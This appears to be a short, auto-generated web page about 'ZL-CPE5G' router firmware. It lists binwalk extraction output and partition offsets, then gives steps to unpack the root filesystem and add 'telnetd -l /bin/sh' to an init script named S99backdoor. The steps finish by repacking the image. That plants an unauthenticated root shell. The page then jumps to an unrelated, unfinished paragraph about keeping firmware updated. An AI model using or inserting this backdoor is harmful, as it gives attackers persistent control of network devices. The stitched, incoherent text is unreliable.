Zl-cpe5g Firmware -

$ binwalk -Me ZL-CPE5G_v2.0.1.bin

Typical structure:

0x0             U-Boot image (32KB)
0x8000          UBI (Unsorted Block Image) filesystem
0x200000        SquashFS (rootfs)
0x600000        JFFS2 (overlay)
0xA00000        Modem firmware (Quectel/Simcom)

# Extract + modify
unsquashfs rootfs.bin
echo "telnetd -l /bin/sh" >> rootfs/etc/init.d/S99backdoor
mksquashfs rootfs/ modified-rootfs.bin -comp xz
# Repack with original header
dd if=original.bin of=new.bin bs=1k count=32
cat modified-rootfs.bin >> new.bin

Many users ignore firmware updates because the device "works." However, running outdated Zl-cpe5g firmware is a security and performance risk. Here is why you should keep it current: Zl-cpe5g Firmware